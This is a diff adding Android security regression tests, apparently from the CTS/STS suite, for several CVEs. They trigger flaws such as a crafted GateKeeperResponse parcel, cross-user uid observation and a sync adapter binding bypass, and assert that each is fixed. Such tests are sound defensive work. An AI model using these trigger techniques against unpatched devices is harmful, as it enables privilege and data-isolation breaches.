+import java.lang.reflect.InvocationTargetException;
+import java.util.concurrent.Callable;
+
 
 @RunWith(AndroidJUnit4.class)
 public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
 
+    private boolean canSupportMultiuser() {
+        String output = ShellUtils.runShellCommand("pm get-max-users");
+        if (output.contains("Maximum supported users:")) {
+            return Integer.parseInt(output.split(": ", 2)[1].trim()) > 1;
+        }
+        return false;
+    }
+
+    @AsbSecurityTest(cveBugId = 217934898)
+    @Test
+    public void testActivityManager_registerUidChangeObserver_onlyNoInteractAcrossPermission()
+            throws Exception {
+        if (!canSupportMultiuser()) {
+            return;
+        }
+        String out = "";
+        final UidImportanceObserver observer = new UidImportanceObserver();
+        final ActivityManager mActMan = (ActivityManager) getContext()
+                .getSystemService(Context.ACTIVITY_SERVICE);
+        final int currentUser = mActMan.getCurrentUser();
+        try {
+
+            mActMan.addOnUidImportanceListener(observer,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND);
+
+            out = ShellUtils.runShellCommand("pm create-user testUser");
+            out = out.length() > 2 ? out.substring(out.length() - 2) : out;
+
+            ShellUtils.runShellCommand("am switch-user " + out);
+
+            Thread.sleep(5000);
+            assertFalse(observer.didObserverOtherUser());
+        } finally {
+            ShellUtils.runShellCommand("am switch-user " + currentUser);
+            ShellUtils.runShellCommand("pm remove-user " + out);
+            mActMan.removeOnUidImportanceListener(observer);
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 217934898)
+    @Test
+    public void testActivityManager_registerUidChangeObserver_allPermission()
+            throws Exception {
+        if (!canSupportMultiuser()) {
+            return;
+        }
+        String out = "";
+        final UidImportanceObserver observer = new UidImportanceObserver();
+        final ActivityManager mActMan = (ActivityManager) getContext()
+                .getSystemService(Context.ACTIVITY_SERVICE);
+        final int currentUser = mActMan.getCurrentUser();
+        final UiAutomation uiAutomation =
+                InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation
+                .adoptShellPermissionIdentity("android.permission.INTERACT_ACROSS_USERS_FULL");
+        try {
+            mActMan.addOnUidImportanceListener(observer,
+                    ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND);
+
+            out = ShellUtils.runShellCommand("pm create-user testUser");
+            out = out.length() > 2 ? out.substring(out.length() - 2) : out;
+
+            ShellUtils.runShellCommand("am switch-user " + out);
+
+            Thread.sleep(5000);
+            assertTrue(observer.didObserverOtherUser());
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+            ShellUtils.runShellCommand("am switch-user " + currentUser);
+            ShellUtils.runShellCommand("pm remove-user " + out);
+            mActMan.removeOnUidImportanceListener(observer);
+        }
+    }
+
     @AsbSecurityTest(cveBugId = 19394591)
     @Test
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
@@ -111,6 +217,51 @@
         assertTrue(Math.abs((double) mockPackagescores / totalLoops - 0.5d) < tolerance);
     }
 
+    @AsbSecurityTest(cveBugId = 237290578)
+    @Test
+    public void testActivityManager_stripTransitionFromActivityOptions() throws Exception {
+        Context targetContext = getInstrumentation().getTargetContext();
+
+        // Need to start a base activity since this requires shared element transition.
+        final Intent baseIntent = new Intent(targetContext, BaseActivity.class);
+        baseIntent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+        final BaseActivity baseActivity = (BaseActivity) SystemUtil.callWithShellPermissionIdentity(
+                () -> getInstrumentation().startActivitySync(baseIntent));
+
+        RemoteTransition someRemote = new RemoteTransition(new IRemoteTransition.Stub() {
+            @Override
+            public void startAnimation(IBinder token, TransitionInfo info,
+                    SurfaceControl.Transaction t,
+                    IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+                t.apply();
+                finishCallback.onTransitionFinished(null /* wct */, null /* sct */);
+            }
+
+            @Override
+            public void mergeAnimation(IBinder token, TransitionInfo info,
+                    SurfaceControl.Transaction t, IBinder mergeTarget,
+                    IRemoteTransitionFinishedCallback finishCallback) throws RemoteException {
+            }
+        });
+        ActivityOptions opts = ActivityOptions.makeRemoteTransition(someRemote);
+        assertTrue(waitUntil(() -> baseActivity.mResumed));
+        ActivityOptions sceneOpts = baseActivity.mSceneOpts;
+        assertEquals(ANIM_SCENE_TRANSITION, sceneOpts.getAnimationType());
+
+        // Prepare the intent
+        final Intent intent = new Intent(targetContext, ActivityOptionsActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_NO_USER_ACTION | FLAG_ACTIVITY_NEW_TASK);
+        final Bundle optionsBundle = opts.toBundle();
+        optionsBundle.putAll(sceneOpts.toBundle());
+        final ActivityOptionsActivity activity =
+                (ActivityOptionsActivity) SystemUtil.callWithShellPermissionIdentity(
+                        () -> getInstrumentation().startActivitySync(intent, optionsBundle));
+        assertTrue(waitUntil(() -> activity.mResumed));
+
+        assertTrue(activity.mPreCreate || activity.mPreStart);
+        assertNull(activity.mReceivedTransition);
+    }
+
     /**
      * Run ActivityManager.getHistoricalProcessExitReasons once, return the time spent on it.
      */
@@ -122,4 +273,130 @@
         }
         return System.nanoTime() - start;
     }
+
+    private boolean waitUntil(Callable<Boolean> test) throws Exception {
+        long timeoutMs = 2000;
+        final long timeout = System.currentTimeMillis() + timeoutMs;
+        while (!test.call()) {
+            final long waitMs = timeout - System.currentTimeMillis();
+            if (waitMs <= 0) break;
+            try {
+                wait(timeoutMs);
+            } catch (InterruptedException e) {
+                // retry
+            }
+        }
+        return test.call();
+    }
+
+    public static class BaseActivity extends Activity {
+        public boolean mResumed = false;
+        public ActivityOptions mSceneOpts = null;
+
+        @Override
+        public void onCreate(Bundle i) {
+            super.onCreate(i);
+            getWindow().requestFeature(FEATURE_ACTIVITY_TRANSITIONS);
+            mSceneOpts = ActivityOptions.makeSceneTransitionAnimation(this);
+        }
+
+        @Override
+        public void onResume() {
+            super.onResume();
+            mResumed = true;
+        }
+    }
+
+    public static class ActivityOptionsActivity extends Activity {
+        public RemoteTransition mReceivedTransition = null;
+        public boolean mPreCreate = false;
+        public boolean mPreStart = false;
+        public boolean mResumed = false;
+
+        public ActivityOptionsActivity() {
+            registerActivityLifecycleCallbacks(new Callbacks());
+        }
+
+        private class Callbacks implements Application.ActivityLifecycleCallbacks {
+            private void accessOptions(Activity activity) {
+                try {
+                    Field mPendingOptions = Activity.class.getDeclaredField("mPendingOptions");
+                    mPendingOptions.setAccessible(true);
+                    ActivityOptions options = (ActivityOptions) mPendingOptions.get(activity);
+                    if (options != null) {
+                        mReceivedTransition = options.getRemoteTransition();
+                    }
+                } catch (ReflectiveOperationException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+
+            @Override
+            public void onActivityPreCreated(Activity activity, Bundle i) {
+                mPreCreate = true;
+                if (mReceivedTransition == null) {
+                    accessOptions(activity);
+                }
+            }
+
+            @Override
+            public void onActivityPreStarted(Activity activity) {
+                mPreStart = true;
+                if (mReceivedTransition == null) {
+                    accessOptions(activity);
+                }
+            }
+
+            @Override
+            public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+            }
+
+            @Override
+            public void onActivityStarted(Activity activity) {
+            }
+
+            @Override
+            public void onActivityResumed(Activity activity) {
+                mResumed = true;
+            }
+
+            @Override
+            public void onActivityPaused(Activity activity) {
+            }
+
+            @Override
+            public void onActivityStopped(Activity activity) {
+            }
+
+            @Override
+            public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+            }
+
+            @Override
+            public void onActivityDestroyed(Activity activity) {
+            }
+        }
+    }
+
+    static final class UidImportanceObserver implements ActivityManager.OnUidImportanceListener {
+
+        private boolean mObservedNonOwned = false;
+        private int mMyUid;
+
+        UidImportanceObserver() {
+            mMyUid = UserHandle.getUserId(Process.myUid());
+        }
+
+        public void onUidImportance(int uid, int importance) {
+            Log.i("ActivityManagerTestObserver", "Observing change for "
+                    + uid + " by user " + UserHandle.getUserId(uid));
+            if (UserHandle.getUserId(uid) != mMyUid) {
+                mObservedNonOwned = true;
+            }
+        }
+
+        public boolean didObserverOtherUser() {
+            return this.mObservedNonOwned;
+        }
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/BitmapService.java b/tests/tests/security/src/android/security/cts/BitmapService.java
index c532e05..ec39ab0 100644
--- a/tests/tests/security/src/android/security/cts/BitmapService.java
+++ b/tests/tests/security/src/android/security/cts/BitmapService.java
@@ -40,6 +40,11 @@
         public boolean ping() {
             return true;
         }
+
+        @Override
+        public void exit() {
+            System.exit(0);
+        }
     };
 
     @Nullable
diff --git a/tests/tests/security/src/android/security/cts/BitmapTest.java b/tests/tests/security/src/android/security/cts/BitmapTest.java
index 5ce81fd..0527366 100644
--- a/tests/tests/security/src/android/security/cts/BitmapTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapTest.java
@@ -25,11 +25,12 @@
 import android.os.BadParcelableException;
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
-import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import com.google.common.util.concurrent.AbstractFuture;
 
 import org.junit.After;
@@ -48,6 +49,7 @@
     private Instrumentation mInstrumentation;
     private PeerConnection mRemoteConnection;
     private IBitmapService mRemote;
+    private Intent mIntent;
 
     public static class PeerConnection extends AbstractFuture<IBitmapService>
             implements ServiceConnection {
@@ -80,6 +82,9 @@
         if (mRemoteConnection != null) {
             final Context context = mInstrumentation.getContext();
             context.unbindService(mRemoteConnection);
+            try {
+                mRemote.exit();
+            } catch (Exception ex) { }
             mRemote = null;
             mRemoteConnection = null;
         }
@@ -88,12 +93,11 @@
     IBitmapService getRemoteService() throws ExecutionException, InterruptedException {
         if (mRemote == null) {
             final Context context = mInstrumentation.getContext();
-            Intent intent = new Intent();
-            intent.setComponent(new ComponentName(
+            mIntent = new Intent();
+            mIntent.setComponent(new ComponentName(
                     "android.security.cts", "android.security.cts.BitmapService"));
             mRemoteConnection = new PeerConnection();
-            context.bindService(intent, mRemoteConnection,
-                    Context.BIND_AUTO_CREATE | Context.BIND_IMPORTANT);
+            context.bindService(mIntent, mRemoteConnection, Context.BIND_AUTO_CREATE);
             mRemote = mRemoteConnection.get();
         }
         return mRemote;
diff --git a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
index ab05f91..0374220 100644
--- a/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
+++ b/tests/tests/security/src/android/security/cts/BluetoothIntentsTest.java
@@ -15,14 +15,13 @@
  */
 package android.security.cts;
 
-import static android.os.Process.BLUETOOTH_UID;
-
 import android.content.ComponentName;
 import android.content.Intent;
 import android.platform.test.annotations.AsbSecurityTest;
 
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.bedstead.nene.TestApis;
 import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.Test;
@@ -48,27 +47,27 @@
       genericIntentTest("DECLINE");
   }
 
-  private static final String prefix = "android.btopp.intent.action.";
-  private void genericIntentTest(String action) throws SecurityException {
-    try {
-      Intent should_be_protected_broadcast = new Intent();
+    private static final String PREFIX = "android.btopp.intent.action.";
+    private static final String RECEIVER = "com.android.bluetooth.opp.BluetoothOppReceiver";
 
-      String bluetoothPackageName = getInstrumentation().getContext().getPackageManager()
-          .getPackagesForUid(BLUETOOTH_UID)[0];
-
-      ComponentName oppLauncherComponent = new ComponentName(bluetoothPackageName,
-          "com.android.bluetooth.opp.BluetoothOppReceiver");
-
-      should_be_protected_broadcast.setComponent(oppLauncherComponent);
-      should_be_protected_broadcast.setAction(prefix + action);
+    private void genericIntentTest(String action) throws SecurityException {
+        try {
+            Intent should_be_protected_broadcast = new Intent();
+            ComponentName oppLauncherComponent =
+                    new ComponentName(TestApis.bluetooth().findPackageName(), RECEIVER);
+            should_be_protected_broadcast.setComponent(oppLauncherComponent);
+            should_be_protected_broadcast.setAction(PREFIX + action);
       getInstrumentation().getContext().sendBroadcast(should_be_protected_broadcast);
     }
     catch (SecurityException e) {
       return;
     }
 
-    throw new SecurityException("An " + prefix + action +
-        " intent should not be broadcastable except by the system (declare " +
-        " as protected-broadcast in manifest)");
-  }
+        throw new SecurityException(
+                "An "
+                        + PREFIX
+                        + action
+                        + " intent should not be broadcastable except by the system (declare "
+                        + " as protected-broadcast in manifest)");
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
index b5896f1..5c0f342 100644
--- a/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
+++ b/tests/tests/security/src/android/security/cts/CVE_2019_9376.java
@@ -25,12 +25,13 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.os.Parcel;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(AndroidJUnit4.class)
-public class CVE_2019_9376 {
+public class CVE_2019_9376 extends StsExtraBusinessLogicTestCase {
 
     @AppModeFull
     @AsbSecurityTest(cveBugId = 129287265)
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20135.java b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
new file mode 100644
index 0000000..2789ff8
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20135.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Field;
+
+@AppModeFull
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20135 extends StsExtraBusinessLogicTestCase {
+
+    @Test
+    @AsbSecurityTest(cveBugId = 220303465)
+    public void testPocCVE_2022_20135() {
+        Bundle bundle = new Bundle();
+        try {
+            Class clazz = Class.forName("android.service.gatekeeper.GateKeeperResponse");
+            assumeNotNull(clazz);
+            Object obj = clazz.getMethod("createGenericResponse", int.class).invoke(null, 0);
+            assumeNotNull(obj);
+            Field field = clazz.getDeclaredField("mPayload");
+            assumeNotNull(field);
+            field.setAccessible(true);
+            field.set(obj, new byte[0]);
+            bundle.putParcelable("1", (Parcelable) obj);
+            bundle.putByteArray("2", new byte[1000]);
+        } catch (Exception ex) {
+            assumeNoException(ex);
+        }
+        Parcel parcel = Parcel.obtain();
+        assumeNotNull(parcel);
+        parcel.writeBundle(bundle);
+        parcel.setDataPosition(0);
+        Bundle newBundle = new Bundle();
+        newBundle.readFromParcel(parcel);
+        newBundle.keySet();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
new file mode 100644
index 0000000..b1ff168
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/CVE_2022_20358.java
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.accounts.Account;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ISyncAdapter;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20358 extends StsExtraBusinessLogicTestCase implements ServiceConnection {
+    static final int TIMEOUT_SEC = 10;
+    Semaphore mWaitResultServiceConn;
+    boolean mIsAssumeFail = false;
+    String mAssumeFailMsg = "";
+
+    @AsbSecurityTest(cveBugId = 203229608)
+    @Test
+    public void testPocCVE_2022_20358() {
+        try {
+            // Bind to the PocSyncService
+            Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+            Context context = instrumentation.getContext();
+            Intent intent = new Intent(context, PocSyncService.class);
+            intent.setAction("android.content.SyncAdapter");
+            CompletableFuture<String> callbackReturn = new CompletableFuture<>();
+            RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+                callbackReturn.complete(result.getString("fail"));
+            });
+            intent.putExtra("callback", cb);
+            context.bindService(intent, this, Context.BIND_AUTO_CREATE);
+
+            // Wait for some result from the PocSyncService
+            mWaitResultServiceConn = new Semaphore(0);
+            assumeTrue(mWaitResultServiceConn.tryAcquire(TIMEOUT_SEC, TimeUnit.SECONDS));
+            assumeTrue(mAssumeFailMsg, !mIsAssumeFail);
+
+            // Wait for a result to be set from onPerformSync() of PocSyncAdapter
+            callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+
+            // In presence of vulnerability, the above call succeeds and TimeoutException is not
+            // triggered so failing the test
+            fail("Vulnerable to b/203229608!!");
+        } catch (Exception e) {
+            if (e instanceof TimeoutException) {
+                // The fix is present so returning from here
+                return;
+            }
+            assumeNoException(e);
+        }
+    }
+
+    @Override
+    public void onServiceConnected(ComponentName name, IBinder service) {
+        try {
+            if (mWaitResultServiceConn == null) {
+                mWaitResultServiceConn = new Semaphore(0);
+            }
+            ISyncAdapter adapter = ISyncAdapter.Stub.asInterface(service);
+            Account account = new Account("CVE_2022_20358_user", "CVE_2022_20358_acc");
+            adapter.startSync(null, "android.security.cts.CVE_2022_20358.provider", account, null);
+            mWaitResultServiceConn.release();
+        } catch (Exception e) {
+            try {
+                mWaitResultServiceConn.release();
+                mAssumeFailMsg = e.getMessage();
+                mIsAssumeFail = true;
+            } catch (Exception ex) {
+                // ignore all exceptions
+            }
+        }
+    }
+
+    @Override
+    public void onServiceDisconnected(ComponentName name) {
+        try {
+            mWaitResultServiceConn.release();
+        } catch (Exception e) {
+            // ignore all exceptions
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
new file mode 100644
index 0000000..0bc8c2c
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocContentProvider.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class PocContentProvider extends ContentProvider {
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return null;
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
new file mode 100644
index 0000000..08fbf92
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20358/PocSyncService.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20358;
+
+import android.accounts.Account;
+import android.app.Service;
+import android.content.AbstractThreadedSyncAdapter;
+import android.content.ContentProviderClient;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SyncResult;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteCallback;
+
+public class PocSyncService extends Service {
+    private static PocSyncAdapter sSyncAdapter = null;
+    private static final Object sSyncAdapterLock = new Object();
+    RemoteCallback mCb;
+
+    @Override
+    public void onCreate() {
+        try {
+            synchronized (sSyncAdapterLock) {
+                if (sSyncAdapter == null) {
+                    sSyncAdapter = new PocSyncAdapter(this);
+                }
+            }
+        } catch (Exception e) {
+            // ignore all exceptions
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        try {
+            mCb = (RemoteCallback) intent.getExtra("callback");
+        } catch (Exception e) {
+            // ignore all exceptions
+        }
+        return sSyncAdapter.getSyncAdapterBinder();
+    }
+
+    public class PocSyncAdapter extends AbstractThreadedSyncAdapter {
+
+        public PocSyncAdapter(Context context) {
+            super(context, false);
+        }
+
+        @Override
+        public void onPerformSync(Account account, Bundle extras, String authority,
+                ContentProviderClient provider, SyncResult syncResult) {
+            try {
+                if (account.type.equals("CVE_2022_20358_acc")
+                        && account.name.equals("CVE_2022_20358_user")) {
+                    Bundle res = new Bundle();
+                    res.putString("fail", "");
+                    mCb.sendResult(res);
+                }
+            } catch (Exception e) {
+                // ignore all exceptions
+            }
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
new file mode 100644
index 0000000..1bf6a78
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/CVE_2022_20420.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IDeviceIdleController;
+import android.os.PowerExemptionManager;
+import android.os.Process;
+import android.os.ServiceManager;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2022_20420 extends StsExtraBusinessLogicTestCase {
+    private static final int TIMEOUT_MS = 10000;
+    private static final int USER_ID = 0;
+    private Context mContext;
+    private DevicePolicyManager mPolicyManager;
+    private ComponentName mComponentName;
+    private UiAutomation mAutomation;
+
+    @After
+    public void tearDown() {
+        try {
+            mAutomation.dropShellPermissionIdentity();
+            mPolicyManager.removeActiveAdmin(mComponentName);
+        } catch (Exception ignored) {
+            // ignore all exceptions as the test has been completed.
+        }
+    }
+
+    @AsbSecurityTest(cveBugId = 238477311)
+    @Test
+    public void testDeviceAdminAppRestricted() {
+        try {
+            // Add test app to Power Save Whitelist.
+            mContext = getInstrumentation().getTargetContext();
+            mAutomation = getInstrumentation().getUiAutomation();
+            mAutomation.adoptShellPermissionIdentity(android.Manifest.permission.DEVICE_POWER,
+                    android.Manifest.permission.MANAGE_DEVICE_ADMINS,
+                    android.Manifest.permission.INTERACT_ACROSS_USERS_FULL);
+            IDeviceIdleController mDeviceIdleService =
+                    IDeviceIdleController.Stub.asInterface(ServiceManager.getService("deviceidle"));
+            mDeviceIdleService.addPowerSaveWhitelistApp(mContext.getPackageName());
+
+            // Set test app as "Active Admin".
+            mPolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+            mComponentName = new ComponentName(mContext, PocDeviceAdminReceiver.class);
+            mPolicyManager.setActiveAdmin(mComponentName, true, USER_ID);
+            CompletableFuture<Boolean> future = new CompletableFuture<>();
+            BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    future.complete(true);
+                }
+            };
+            mContext.registerReceiver(broadcastReceiver,
+                    new IntentFilter("broadcastCVE_2022_20420"));
+            future.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
+
+            // Call vulnerable function getBackgroundRestrictionExemptionReason()
+            ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
+            int reason = activityManager.getBackgroundRestrictionExemptionReason(Process.myUid());
+            assumeTrue(
+                    "Reason code other than REASON_ACTIVE_DEVICE_ADMIN/REASON_ALLOWLISTED_PACKAGE"
+                            + " returned by getBackgroundRestrictionExemptionReason() = " + reason,
+                    reason == PowerExemptionManager.REASON_ACTIVE_DEVICE_ADMIN
+                            || reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+            assertFalse("Vulnerable to b/238377411 !!",
+                    reason == PowerExemptionManager.REASON_ALLOWLISTED_PACKAGE);
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..c9c1b6f
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20420/PocDeviceAdminReceiver.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20420;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+    @Override
+    public void onEnabled(Context context, Intent intent) {
+        try {
+            context.sendBroadcast(new Intent("broadcastCVE_2022_20420"));
+        } catch (Exception e) {
+            // ignore all exceptions.
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
new file mode 100644
index 0000000..af581a1
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2022_20452/CVE_2022_20452.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
